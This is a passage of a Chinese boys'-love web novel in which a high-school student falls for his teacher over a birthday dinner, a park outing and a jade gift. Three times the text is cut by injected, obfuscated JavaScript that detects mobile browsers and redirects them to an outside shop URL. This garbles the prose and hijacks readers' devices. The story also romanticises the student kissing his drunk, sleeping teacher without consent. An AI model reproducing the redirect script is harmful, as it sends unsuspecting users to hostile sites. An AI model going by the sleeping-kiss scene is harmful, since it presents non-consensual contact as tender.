“你个傻姑娘,”傅廷恩细细的教她,“明天一上学你就跟老师说,你哥说这次就算了,不让她赔了,懂不懂?” “为什么?” “我们主动退让,老师就不会因为这个事情对你印象不好。没有赔钱,那个女生也就不会再找你麻烦了。” 家庭出身让傅廷恩比同龄孩子心智要更成熟一些,“你手机给我,回头我给你修好。这事如果班主任没打电话给你哥,你就不要跟他说了,知道吗?!” “嗯!”这是她和廷恩哥的秘密,是哥哥都不知道的! 14. 第 14 章 五月的考试季如约而至,考完剩下的这三门,傅廷恩算是如释重负,虽然分数要到八月份才出,但是核对完答案基本心里都有数了。 肖震沮丧得不行,“我的巴斯商科是没戏了,预定offer估计得作废。”他跟袁立雅算是正式确定了恋爱关系,小情侣整体亲亲我我难免耽误了不少学习时间。 “看看新加坡那所怎么样吧,这样也好,不用跟我们家雅雅分开,”他搂着袁立雅肩膀,在她脸颊旁快速的亲了一下,两人现在是肉麻的震震和雅雅,黏糊得很,原本的两人行变成了三人行。 “震震,人家想吃冰淇淋哎,”袁立雅指指不远处的冰淇淋车,“要香草口味的。” “好,”肖震屁颠屁颠的跑过去,“廷恩你要什么口味?” “随便吧。”傅廷恩和袁立雅坐在草坪的长椅上有一搭没一搭的聊天。他翘着二郎腿,身体靠在躺椅上,两条胳膊摊开,眼睛看着远处的喷泉,是十分放松的状态。 “廷恩,我很好奇哎,”袁立雅用手撑着头,甜甜的冲他笑,“震震说你以前在英国有交过女朋友,你是因为曾老师才变弯的吗?” 傅廷恩一听她说出了那三个字,神情立刻就变得紧张,四处环顾没有人听见才松了口气,“你别瞎说……” “你不用否认啦,喜欢一个人的眼神是藏不住的。”台湾妹歪着头看他,“难道你一直没有表白嘛?” “开什么玩笑?!”傅廷恩收回胳膊,放下二郎腿。 “曾老师比我们大哎,他迟早要交女朋友,反正他看上去一点也不弯,”台湾妹很擅长甜笑着插刀子,“廷恩,你迟早是要受伤的。我很担心你……” “省省吧你,你担心你的震震就好,”傅廷恩没好气的白她一眼,“小心他念大学交了别的女朋友把你甩掉!”最好是甩掉,又鸡婆又八卦。 “甩掉也没关系啦,廷恩,我最喜欢你,震震是退而求其次嘛,”袁立雅眉眼弯弯,笑意不变,“你不知道嘛,只有你爱的人才能伤到你……” 肖震举着几只冰淇淋甜筒过来,“震震你真好!”袁立雅接过甜筒笑眯眯的看着肖震。 “乐意为我的女神效劳。”肖震弯腰曲膝一个鞠躬礼,两个人笑闹起来。 傅廷恩无语望天,女人都是这么可怕的生物吗?曾闰成有一天也会跟这种生物交往吗?给她们买冰淇淋、陪她们玩笑…… 想想就觉得原本松快的心情瞬间淤塞起来。他愤愤的咬一口冰淇淋,耳边传来一声唿哨,抬头一看,江家那几个雄赳赳气昂昂的从长椅前走过,缀在最后的江永安回过头来冲他邪魅一笑,看着他手里的冰淇淋做了个夸张的添唇动作,妈蛋!他气得把冰淇淋往地上一扔,他竟然秒懂了他什么意思!最近真的是被那些小视频荼毒坏了! ——————————————————————————— 5月除了考试,月底还有一个被傅廷恩圈起来的大日子,他一早就给曾闰成打电话:“Happy Birthday,Jasper,我要过来吃寿面!” “你怎么知道?”收到祝福当然很开心,话筒里的声音带着笑意。 “上次帮你注册微信填资料来着。” 刚好是下雨的周末,“我和小霞打算晚上做火锅吃,你来吧,但是先说好,不要带礼物。” 傅廷恩满口答应,结果开门进来,手上还是拎着一个大篮子,“嘘……”他止住曾闰成的念叨,蹲下身掀开盖子,小霞已经高兴得蹦起来,“啊,是小狗,是小狗,哥哥,我早就想在院子里养条小狗了,廷恩哥你真好!” 她忍不住抱一下蹲着的傅廷恩肩膀,小心翼翼的从他手里接过来那毛茸茸的一团,“它看上去好小,它多大了?” “45天,刚断奶,”傅廷恩移开上面装小狗的筐子,把篮子底部的几大袋奶粉和一包狗粮交给小霞,“它还只能喝羊奶泡软的细粮,一次不要喂太多。” 傅廷恩站起身来,冲曾闰成一本正经,“不是你过生日我也会带过来,之前是太小了没断奶,它是我们家Buddy的宝宝,最可爱的一只。” Buddy是他家金毛爱犬,“它妈妈很聪明的,会帮我捡飞盘、拿快递。” “真的吗?”曾闰霞抱着怀里的小狗崽爱不释手,扑闪着一双大眼睛问他。 “当然,阿姨把快递放门口小花园,它就会送到二楼我房间。”傅廷恩挠挠小狗的脑袋,“它听得懂简单的指令,不过你要从小训练它。网上有很多教程,你搜一下。” 曾闰霞屁颠屁颠的抱着小狗,揣着手机,闪一边去了。曾闰成看着满地的羊奶粉、狗粮、磨牙棒,这个男生真的太细心。很久以后他才明白,其实不是细心,而是用心。 “帮我把桌子搬到阳台那边去,”吃火锅味道比较重,但是外面在下小雨只能靠着阳台摆放,他把准备好的各类菜蔬摆出来。 “廷恩你吃不吃辣?”曾闰成自己不太能吃辣,但记得第一次在巷子里撞见,傅廷恩和肖震在一块吃烧烤。 “吃。”果然平时都是迁就他,于是多做了一个辣的蘸料碗。 铜锅里升腾起热气,久煮更入味的菌菇丸子冬瓜土豆都已经下进锅里,各色肉片菜蔬排列得整整齐齐,曾闰成知道傅廷恩的食量,多准备了一些牛羊肉片。还有啤酒可乐,吃火锅的标配。 两个人都坐在桌前了,小霞还在房间没出来。“小霞,来吃饭吧。洗手。” 傅廷恩却起身把灯关了,正疑惑间,小霞小心翼翼捧着一个蛋糕走出来,两根蜡烛的微光映照着她腼腆的笑脸。 她把蛋糕放到桌上,和傅廷恩一起唱起了生日歌,曾闰成愣愣看着那造型精致的生日蛋糕,这牌子学校附近有个连锁店,价格不便宜。 “你哪里来的钱?”虽然他有给小霞零花钱,但这蛋糕的价格明显超出初中生消费水准。 小霞呐呐的不好意思,“我攒的,嗯,廷恩哥赞助了一半,呃,是大半。”她不敢在她哥面前撒谎。 “Jasper,生日快乐!“傅廷恩灿若星辰的眼眸看着他,烛光里的少年,脸上的真诚笑容简直耀眼。 曾闰成只觉得一道微弱的电流划过心脏,鼻头有些酸酸的,大概是感动吧,他有很多年没有过过生日了。这个日期是学期的中间,不是在上课,就是在上课,婆婆和妹妹也不会特意打电话。原来在生日的这天收到祝福,感受到别人为你用心准备的心意,是这样一件幸福的事情。 他在二人的示意下,闭上眼睛默默的许下了心愿,然后吹灭了蜡烛。 “哥,你许了什么愿?”小霞用公筷给两个哥哥烫着肉片。 傅廷恩刚要说愿望说出来就不灵了,曾闰成已经开口:“希望每年的生日都有你们两个的陪伴。”他显然不太懂这个规矩。 傅廷恩愣住,赶紧把到嘴边的话吞回去,又在心里强调好几遍:这个是必须灵的。 曾闰成倒先笑了,“这个愿望可能不太现实,你廷恩哥明年这个时候已经在英国。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422344|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟傅廷恩碰杯,“你们俩能陪我过今年的生日已经很好。” 傅廷恩一口饮尽了,开怀的笑起来,“英国的假期超多。圣诞节、复活节、各种half term,暑假有多长你知道吗?差不多四个月,而且春季学期正好是五月底结束,我一定每年都赶上给你过生日。” 当他笑起来的时候,浓黑的长眉飞扬,原本微圆的眼睛会变得修长,唇形拉出美好的弧度,洁白整齐的牙齿闪闪发光…… 小霞一只手拿着筷子戳着碗里的肉片,一只手撑着下巴看他和哥哥说话,忍不住出声:“廷恩哥,你真好看。” 曾闰成哈哈的笑起来,“那可不,你廷恩哥可是校草,追他的女生可以从恒雅排到你们三中门口。”他喝了点酒,整个人的状态就变得很放松,看傅廷恩脸红的样子,忍不住调侃他。 “我就知道一定有很多女生喜欢廷恩哥,”小霞殷勤的给他们添酒加菜,“我也喜欢廷恩哥。” 谁也不会把小女孩这种宣之于口的喜欢当真。傅廷恩给她夹个丸子,“小霞也很可爱,小心烫。” 窗外是缠绵的细雨,阴沉暗郁的天色,微凉的初夏时光。老旧简陋的出租屋里却承载着最初的美好。 小霞吃饱,去照顾她刚取名lucky的狗宝宝,曾闰成和傅廷恩就着滚烫的火锅,喝着沁凉的啤酒,聊着各自成长经历中的趣事。 他们有说不完的话题,从国内高考聊到爱德思考试局,从老牌资本主义国家的文学艺术成就聊到中国五千年文化沉淀出来的瑰宝,从英国生活的各种不便利,蔓延到北欧各国幸福指数,再讲到中国目前的高速发展…… 一地的空酒瓶,两个醉眼迷蒙的人。曾闰成是两杯啤酒就倒的酒量,难得放肆尽兴的喝一回。 “不行了……头有点晕,”好在客厅就有床,曾闰成随意一趴,还拍了拍身畔,示意傅廷恩躺躺,口齿不太清楚的吩咐他,“你醒醒酒再回去……”蹙了蹙眉头,“……把灯关一下……” 傅廷恩依言关了灯走到他身边躺下,原本有些混沌的头脑却突然的清晰起来,这是曾闰成的床,他躺在曾闰成的床上,而他就躺在他身边。 独属于他的那种清冽干爽的气息逐渐的萦绕弥漫而来,线团一般将他悸动的心脏密密麻麻的缠绕、箍紧。 他闭上眼睛,身体却好像长出了触手一般,精细的感知着他每一个细微的动静:原本侧躺背对着他的躯体逐渐的躺平了,似乎回到了平时最习惯的睡姿里,放松着四肢,微偏着头,气息微微,好梦沉沉。 躁动的情绪在四肢百骸里流淌、奔涌、叫嚣起来,傅廷恩睁开眼睛、转过头去,入目是他英挺完美的侧颜,长眉入鬓,眼尾微红,鼻梁如玉柱,唇形丰盈恰到好处,从眉骨到山根到下颌每一处转折都流畅自然。 他有一种雌雄莫辨的美,既不过分硬朗也不过分阴柔,十八岁的少年完全无法抵挡这种顶级颜值对他的诱惑。 他几乎是本能的欺身而上,两条修长的手臂撑在他肩膀的两侧,盯着那张在心底描绘过无数次的唇形愣愣不能言语,它在逐渐暗淡的天色里发出莹润的光泽,微启的唇尖,传送出淡淡的酒香,似乎是无声的邀请…… 他再也忍不住,低下头,温热的唇瓣倾覆而上,缓缓的摩挲…… 片刻之后,身下的呼吸仍然规律深沉,他提着的胆子陡然间大了起来,灵活的舌尖撬开微启的唇畔,侵入私密的口腔,芬芳席卷而来,他描摹着每一颗贝齿,舔舐着丝丝缕缕的甘甜…… 15. 第 15 章 曾闰成是被小霞在厨房忙活的声音吵醒的,天光已经大亮,小霞做了鸡蛋面条端上来,“哥你快去刷牙,面要坨了。” 他伸了个懒腰,好久没有睡得这么踏实过了,翻身起来跑到洗手间,镜子里映照出一张宿醉后略有点发白的脸,嫣红的嘴唇愈发明显,他手指轻抚过唇畔,想起昨晚的梦境,赶紧用手盖住眼睛:太羞耻了! 难道是太久没有纾解过的原因?然后最近又跟傅廷恩走得太近!廷恩才十八岁啊,如果知道自己出现在他称为老师的人春梦中,还担纲男主角…… 天!赶紧把这可怕的想法赶出脑海,迅速刷牙洗脸,坐到桌前吃面。 Lucky在他脚边上蹭来蹭去,小霞用谷物棒把它引到她给它搭建的狗窝边,“Lucky你以后吃饭睡觉都要在这里,知道嘛?” “你廷恩哥什么时候走的?” “我洗完澡出来他就走了,到家还给我发了信息。没有给你发吗?可能是怕吵醒你。”Lucky跟着她又跑回桌边,她弯下腰去用手指逗它,“哥,廷恩哥要去英国了吗?” “嗯,过年之前肯定会过去,他考了牛津大学,等雅思拿到7.0,就只用等offer了。” 剑桥牛津这种世界名校,初中生也知道,“廷恩哥好厉害,可是我舍不得他走。”曾闰霞噘起小嘴,把Lucky抱在怀里。“如果我也可以去就好了。” 曾闰成愣了一下,“小霞也想去英国读书吗?” “想!”曾闰霞亮晶晶的眼睛看着他,答得毫不犹豫。曾闰成吃一口面条,认真的核算了一下。账户余额几乎可以忽略不计,他研一才还完助学贷款,又处理了婆婆的丧事,账上没有多少钱。 但目前的薪资待遇还是相当可观的,如果不考虑别的,只供妹妹读书的话,也不是不能支撑。 脑海里蓦地闪过那张睥睨狂狷的面孔和他似笑非笑的神情,“老人家益寿延年,妹妹出国深造……”难怪他笃定,这两件事情能对他构成诱惑。 “不管去哪个国家,语言都是第一道门槛,如果你能够把英语学好,哥哥就送你去留学,好吗?” 曾闰成不愿意妹妹去恒雅读书,是因为他很清楚恒雅的学生非富即贵,家境优越,像傅廷恩那种从不以家庭条件自傲的人其实凤毛麟角,他是成年人,又是老师的身份,可以轻松应对一些难堪的场合,也不在意自己是否合群。他在教师队伍里没有一个朋友,也不会对他构成困扰。 可曾闰霞还小,本身就是乡下长大的,恒雅的课程文化只占小部分,如果周围的同学从各个层面都比她优秀,担心她会因此产生自卑的情绪。 当然,如果她自己有很强烈的意愿,作为哥哥他肯定要鼎力支持。他不会忘记十岁那年的冬天,多年没有音讯的妈妈,抱着这个小奶猫一样的婴儿回到了曾家村。对着一脸孺慕渴盼的曾闰成露出一抹温柔的笑意,“闰成,这是你妹妹。” 也不会忘记半夜里听到的那些哭诉,“……娘,是女儿瞎了眼,可孩子是无辜的……他们家嫌弃是个女孩,我不带她回来就活不了了……我怎么这么命苦……呜呜呜……”低低的呜咽像窗外的北风一样缠绕在他耳际很多年。 —————————————————————————— 傅廷恩整整两个星期都不敢去找曾闰成,他唾弃自己的卑劣,却又无法抑制那种隐秘的欢喜。这偷来的吻每一次回想都让他心惊肉跳,就像无意间窃得的珍宝,主人似乎没有意识到它的丢失,占有者却不能因此心安理得。 他们Year12考完A2后,学校重新给曾闰成安排了两个Year10的班级,教室都不在他们一层楼。如果想顺利在秋季学期进入牛津学习,七月的雅思是傅廷恩语言这块最后一次考试机会,他没有去找曾闰成打球也显得合情合理。 只有他自己知道,他已经整整两个星期没有睡过一个好觉了。 他蹬着马靴,修身的马裤勾勒出笔直的长腿,走过草坪引起同样上马术课的几个同学一阵唿哨,他也懒得搭理,扣上头盔,翻身上马。 恒雅的马场因为兼具了商业用途,在整个金城都是数一数二,比起伦敦的训练场也不差什么,开阔的跑道,白色的栅栏,他纵马几圈,催马翻越栅栏,结果速度太快,缰绳又拉得过早,那马前蹄一跪,差点把他掀下马背。 教练过来把马控好,有个身影闪过来把他扶下马背,是江永安。 “跨栏也敢心不在焉,想摔死摔残啊,”他扶他到场边的长椅上坐下,多少有点受到了惊吓,他难得没有推开他。 江永安点了一根烟,塞到他嘴里,“抽吧,教练看不见。” “失恋了?”他自己也点了一根,“游魂一样好几天了。” “你一天到晚盯着我干嘛?没事干是吧!” “喜欢你不行啊?!”江永安一口烟喷到他脸上,傅廷恩拂开烟雾,把他推到一边,“滚。”他说得漫不经心,他听得毫不在意。 “唉……”傅廷恩重重的叹了口气,两根手指捏着那根烟,狠抽几口,烟雾弥漫四散,迷茫的情绪却从眼底升起。 “真失恋了?” “没,”在这个不吝于经常向他展示下流与欲望的人面前,傅廷恩有那么一点想要倾诉的感觉,“我不敢表白。万一……可能朋友都没得做。” “啊懂了,不就Love is a touch and yet not a touch(爱是想触碰却又收回的手)嘛,”江永安把烟灰弹草坪上,“傅廷恩,看不出你这么纯情哈,你不是在英国念的初中吗?” 傅廷恩真是后悔对牛弹琴,他就多余跟这小子说真心话,“英国读初中怎么了?就非得乱搞?多亏我没去美国,一看你这身本事就是美利坚合众国的自由风熏陶出来的。” “哟,你竟然知道我是在美国读的初中?” 傅廷恩实在忍不住白眼,“懒得理你!”起身就要走,江永安一把拉住他,“别走啊,哥们给你个忠告,真心的。” “有屁放!” “大胆的表白吧,不管答不答应,至少人家有考虑的时间,你也有表现的机会。真这么一直拖着,搞不好人家结婚生孩子了,孩子都满地跑了,还不知道你有这个心思。长嘴又不只为了吃饭接吻,你不去靠近不去表达人家怎么会知道你的心思呢?”他坐着,傅廷恩站着,他拖住他胳膊,狭长的单凤眼里闪过一丝狡黠的微光,“就像我想睡|你这心思你是知道的吧?!” “做你的春秋大梦去吧!”他甩开他手,又恼怒的扑上去踢他两脚,江永安看他发糗的脸色,夹着烟哈哈大笑起来。 —————————————————————————— 傅廷恩忍两个星期已经觉得很辛苦,第三个周末就假装无事跑去约曾闰成打网球,他隔着围墙跟lucky打招呼:“嗨,小宝贝!” 小宝贝已经不认识他,只粘着小霞的脚跟跑,连曾闰成都不怎么搭理。 “廷恩哥,快进来,你爱吃的红烧肉刚刚出锅。”曾闰霞从围墙的缝隙里冲他招手,他在微信上跟小霞报了餐。 曾闰成给他开门,“不在家刷英语?雅思有没有把握?”因为是夏天,又在家里,他穿个背心配一条宽松的大裤衩,很正常的居家装扮,落在有心人的眼里就是格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422345|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外清凉。 他掩饰的别开脸去,“放心吧,好歹在英国混了那么多年。” “外面很热吗?”曾闰成看少年红润的脸,想起那个荒唐的梦境,他其实也有点不自在,只能没话找话,“小霞说想去爱乐园玩……” 曾闰霞一到金城就是开学,曾闰成只能利用周末带她去一些有名的景点转转。 傅廷恩拍头,“啊,好多地方小霞都没去过吧?那我们今天不打网球,带她去爱乐园玩,然后去灵水湖坐船怎么样?” “好哎好哎,”小女孩欢呼雀跃起来,“廷恩哥,我可以带Lucky一起去吗?”她已经摸出规律,有什么事情问傅廷恩基本都能得到肯定的答复,问她哥就不一定。 果然曾闰成说她,“天这么热,你还抱条狗……” 傅廷恩拦住他,“曾老师,我让司机来接,不碍事的。” “不用麻烦了,坐地铁挺方便。” “我把小霞当妹妹,金城是我的地盘,让我尽尽地主之谊是应该的,我又不是每个周末都能陪她去玩。况且,小霞做那么多好吃的菜给我吃,我还不能请她去玩一次了?” 傅廷恩掏出手机给司机打电话,王叔本来也还没走远,接到电话就回转来,他在傅家当司机有十多年,上次送曾闰成去机场也是他,算是打过照面,是很有眼色的人。 看这回多了一个小姑娘,赶紧下车,戴着白手套的手打开一侧车门,“小姐请。”把小霞当小公主伺候,一路上又跟她讲笑话讲典故,把小霞公主乐得颠颠的。 三个人在爱乐园门口一下车,就引来一圈注目礼,无他,实在是两个男生的外形也太出色了一些。 因为是周末,穿着打扮都很休闲随意,都是高个大长腿,两张脸庞毫无缺陷又风格迥异,并排走在一起实在是赏心悦目。 小霞牵着Lucky在前边走,他们两个慢悠悠的跟在后头,浑然不知身后一堆女生举着手机拍他们背影。 傅廷恩一路琢磨着该如何开口,江永安那疯坯虽然尽说废话但那句忠告算是有点道理,他想让曾闰成明白他的心意,不管接不接受,说出来是第一步。 曾闰成看他一脸沉思的样子,“在担心考试吗?” “没有,必过,相信我。”这件事情上傅廷恩信心满满。 “你现在有几项竞赛资质?BMO参加过吗?数学这块,对冲名校有帮助又有国际影响力的竞赛主要是这两个,就是它都是论证题……” 哎,话题要是任他往这个方向去,可就不容易拉回来了。傅廷恩算是很了解曾闰成的学究本性。 “曾老师,”他难得打断他一次,“你不用担心我offer的事,基本上没问题的。” 正是仲夏时节,风暖昼长。公园里蝉鸣蛙叫,万物并秀。他踌躇着要怎么开口,先叫他英文名,比喊老师距离近一点,“Jasper,你最近有什么计划吗?” “哥,你们走快点,快来帮我拍照。”小霞在一个景观打卡处拍pose。曾闰成走过去帮她拍了几张照片,又跟他一块踱步。 “计划?小霞说她也很想去国外读书,我答应她如果英语学好,可以考虑。” “那你呢?”傅廷恩偷偷的观察他的表情。 “我?教书,供小霞读书。”被傅廷恩一问,曾闰成自己都发觉,这人生计划好像确实平淡了点,但是他目前对于未来的确没有太长远的打算。 傅廷恩想起昨晚突击的“告白二十四式”之“你的人生规划里会有我的存在吗?” 嗫喏着,“嗯……” “哥,廷恩哥,你们快看,那边有梅花鹿——我们快去!” 16. 第 16 章 尽管屡次开口就被打断,傅廷恩也并不死心,他是个确立了目标就会严格去执行的性格。 他在内心里摩拳擦掌,今天无论如何要说出口,这样幽静的环境,这样美好的景色,时机可遇不可求。 小霞要喝奶茶,他排完队拎着几杯奶茶回来,小霞在旋转木马上冲他们招手,曾闰成靠在一旁树下看着她。他把抹茶口味的递给曾闰成,他带过几盒小冰淇淋去出租屋,曾闰成伸手拿的第一只就是抹茶口味的。 他看一眼标签,果然接过去,拆开吸管,吮吸起来。他捧着奶茶,咬着吸管的样子跟平时课堂上的形象大相径庭,傅廷恩有些呆呆的看着他,小霞骑着小海马经过他们面前,“嗨!帅哥!”她一副兴高采烈的样子。 “都这么大了还跟小孩子一样,不过她很少玩这些……”傅廷恩心头一动,拉着他过去,投币买票,“我们也坐一圈。”他猜他其实也没有玩过。 曾闰成有点忸怩,“呃,不好吧,都几岁了……”眼底却有跃跃欲试。 “这又不是小孩子的专属,”音乐声响起,木马们停下来,他推他坐在小狮子上面,自己爬上旁边的海豚,小霞抱着Lucky坐进了公主的车厢。 其实他玩这个也是很多年前的记忆了,可是跟喜欢的人一起坐旋转木马是完全陌生的体验。 他看着他因为转动起来,飞扬的发丝,逐渐舒展的眉眼,扬起的嘴角,不自觉的深情凝视,跟着微笑起来。 这样炙热的目光真的很难让人忽视,曾闰成无意间的回头,心里“咯噔”一下,慌乱的转开视线。 他从来没有留意过,这个少年在背后看向他的目光是这样的……即使没有什么恋爱经验,毕竟是有生活阅历的成年人,他觉察出了一点不对来。 下了旋转木马,小霞奔向音乐秋千,曾闰成纠结着该怎么试探一下。 傅廷恩倒先开了口,“咳,曾老师,上次肖震说看见你那个同学,就是大美女那个……”他提示了一下,曾闰成才想起来是说姚子琪。 “哦,那个啊,”曾闰成犹豫了一下,“其实是我前女友。”他偷眼觑向傅廷恩的神色,少年的脸在一瞬间就没了血色,就连目光也变得幽怨起来。 “前女友啊……你很喜欢她吗?”傅廷恩的声音滞涩,仔细听,还带着点颤音。 曾闰成心头剧震,几乎是下意识的否认,“没有。” 他掩饰般的轻咳一下,索性就说下去,“她说想和我在一起的时候,我觉得各方面都很合适,相似的家庭背景、求学经历,不过我们三观不一致。即使没有李……没有别人的出现,可能也走不远。” 他只说了个李字,傅廷恩已经猜到了李景麟,毕竟按曾闰成简单的人际交往圈,也只有这一个可能。只一句话,傅廷恩瞬间秒懂了这爱恨情仇,立马放下心来。 “那……” “哥哥,”小霞牵着Lucky跑过来,指指不远处的过山车,“我想要玩那个。我害怕,你陪我一起。” “好,”难得出来玩一趟,当然要满足小公主的愿望。“但是Lucky不能坐。”他把牵狗绳交给傅廷恩,牵着小霞坐到位置上。 傅廷恩看着他旁边的空位,心头一动,将Lucky系到工作台旁边栏杆上,爬了上去,在他身边坐好,目视前方,笑眯眯的:“我也好久没玩了,我也想玩。”他带一点撒娇的口吻。曾闰成笑笑不说话。 机器开动,先是平缓的向上爬升,紧接着就是急速的飞驰和下坠,乘坐的人都不约而同的发出尖叫,身体被极大的离心力拉扯,好像要被甩出去一样。 曾闰成只觉得目眩神迷,天旋地转之间有一只手握住了他的手掌,几乎是条件反射性的十指相扣。心脏仿佛要跳出胸腔一般,完全无法分辨到底是什么带来的强烈悸动。 车体在不断的攀爬与下坠中重复给人带来刺激紧张的体验,而他混沌的头脑和懵懂的意识却似乎开始变得条理分明:出租屋外少年流油的嘴角和铮亮的眼眸,网球场上那个蹲下去为他系鞋带的身影,时不时会泛起红晕的脸庞和躲闪的眼神……还有闹情绪那一次对英国的各种抱怨,最后添加的那一句:……没有一个你……这么好的老师。 他惊讶于自己的迟钝竟胜过惊讶于这份心意的降临,毕竟,只要你突然推开那张门,其实一切都有迹可寻。 —————————————————————————— 午后的时光静谧馨宁,一叶扁舟泛波在灵水湖中,小霞抱着Lucky趴在船舷边,时不时捞几颗菱角抑或一两只莲蓬逗它玩。 曾闰成摘一扇莲叶倒扣在脸上,双手枕在脑后,看上去是在享受片刻的惬意,实则上他是不太敢去面对傅廷恩的眼神,他需要一点时间和空间来梳理自己的情绪。 他从来没有想过,这个聪明优秀的学生也许对他怀有爱慕之情。 曾闰成的感情经历相当贫乏,只有一段似是而非的初恋,当初他和姚子琪在一起,的确是姚子琪主动提出的。 甚至两人的第一次牵手都是夜晚在湖边散步的时候,她突然伸手挽住他的胳膊,他有点尴尬的抽出手,在看到她脸上窘迫的神情时,忙顺势握住了她的手掌。 女孩子的手柔柔小小,他仍记得当时颇有些慌乱的心跳。但是恋爱的过程中,他确实对这些情侣之间的亲密举动没有太多的期待。 姚子琪曾不止一次的抱怨过他,“我说冷你都不会抱着我的嘛?”“哎呀,人家走累了,你背我一下好不好?”但凡她提出来,他都会尽量按要求去做,但他从来没有主动过。 或许这也是她后来改投李景麟怀抱的原因之一吧。他想到李景麟,不自觉就回想起那天在他办公室,看到他和那个明星亲密调笑的场景。 他其实通过网络不止清楚李景麟已婚的身份,还刷到过他的风流轶事,男女都有,男性还要更多一点。各种照片、视频证据确凿,所以他一再提醒姚子琪。 曾闰成并没有觉得男人和男人在一起就是错误,只是觉得李景麟太过于风流,尤其在抢走姚子琪之后,还通过姚子琪和苏秘书来隐晦的表达那点龌龊的想法,简直是无耻之尤。 人果然是多面体,他会慷慨解囊资助山区贫困学生,也会仗着钱势随意玩弄别人的感情。 曾闰成看得清,也分得清。他感激李景麟出手改变了他人生的命运,但也绝不会因此甘愿为他的风流添上一笔。所以他才会说出两线平行,永不相交的话来,他不愿意再跟这种人有任何来往。 可是他也没有想过,和自己的学生产生情感纠葛。尤其是男学生。 他不排斥同性恋,但不代表他就是个同性恋。他不知道自己怎么会让一个学生对他产生爱慕的想法,从老师的角度,他感觉自己有点失职了。 尤其是他想到那个荒唐的梦境,难道自己在不知不觉中有释放一些不太好的信号,才会让这个大男孩产生这种想法? 曾闰成躲在荷叶底下唉声叹气,傅廷恩找不到搭话的由头,只能百无聊赖的划着浆板,目光不时在那个躺卧的身影上梭巡。 对傅廷恩而言,曾老师哪怕就这样散漫的躺在甲板上,浑身也散发着不可言说的魅力。他曲起的二郎腿时不时的抖两下,就跟抖在他心上一样。少年深深的迷恋着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422346|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 水面传来的沁凉让人精神舒爽,太阳已经下山去,落日的余晖铺泄在水面,满目琉璃般璀璨的光泽,映照得少年的眉眼绚丽又柔和。 这一天直到结束,傅廷恩也没有机会把想说的话说出口。他以为他没有说,可其实他已经知道了。 —————————————————————————— 七月的几个周末,傅廷恩忙着刷英语考雅思,而曾闰成则带着小霞穿梭在金城的古玩市场,他想寻摸一件送给傅廷恩的生日礼物。 他没有为他的发现感到特别烦恼,毕竟傅廷恩即将远赴英国求学,时间和空间连十分深刻的感情都能够阻隔,何况是这种刚刚萌芽的爱恋? 他相信等傅廷恩到了牛津,广阔的天地和新的人际交往关系,自然会让他慢慢淡忘这段情谊。想到这点,曾闰成其实也有点难过,整个恒雅他也只有傅廷恩这一个朋友而已…… 抛开这些烦情杂绪不说,傅廷恩对曾闰霞是真的很好,又是手机又是小狗又经常给她带各种好吃的,就连他自己也收过他的球拍、球鞋,还有一对一的网球私教课。 人情欠得太多了,一定要回他一件合适的礼物。不过还真不是一件容易的事情,傅廷恩看上去是什么也不缺,买点衣服鞋子什么的,也太过于随意敷衍。 好在因为书法爱好,他跟导师的一个朋友,一个古典文学爱好者沟通交流比较多,对方在古玩市场开了一间小门店,经常在朋友圈晒货,他相中了一个配饰,打算过去看看。 小霞知道是给廷恩哥买生日礼物,一定要跟着去。“到时候我就可以跟廷恩哥说是我和哥哥一起选的。”她把小心机表露无遗,换来她亲哥宠溺的微笑。 七月的金城骄阳似火,转了两趟地铁,又穿过一条四五百米长的古玩街才到店里。 老板迎上来,“您来啦,这天可热,赶紧凉快凉快。”又奉上两碗凉茶,才端出一个铺着黑丝绒底面的托盘,一排晶莹的翠色点缀其上。 曾闰成每一个都拿起细看,最后相中了一块正冰种的平安扣,水头十足,背光看都很晶莹剔透,几乎没有瑕疵,尺寸也很适合男生佩戴。 “曾老师好眼光,这块翡翠是我新收的好货,还没来得及送商场。您要是要,给一万三拿走,商场里头至少标这个数。”老板伸出五根手指头。 “这么贵?”价格有点超出预算,老板从柜台底下摸出一块小一号的,“您看看这块,糯冰种的,看着水头也好,可是瑕疵多,个头也小,两千块就得。一分钱一分货。您是黄教授高徒,我可不敢坑您,回头难见朋友。” 曾闰成踌躇一下,“行,那就那块吧,麻烦您给包一下。” 小霞一直跟在一旁,看着柜台里头铺排的各种玉器,期期艾艾的跟她哥开口,“哥,这块小的能送给我吗?”看曾闰成眉头微皱,又摆摆手,“我开玩笑的,不要了。” “这块女孩子戴正合适。”老板倒是会做生意,适时恭维。 曾闰成想想,一万三和一万五也只有那么大差别,“行,那就一起拿了吧。”除了那个学习机,从小到大也没给她买过什么值钱的礼物,连手机都是傅廷恩送的,他深感有愧于妹妹。 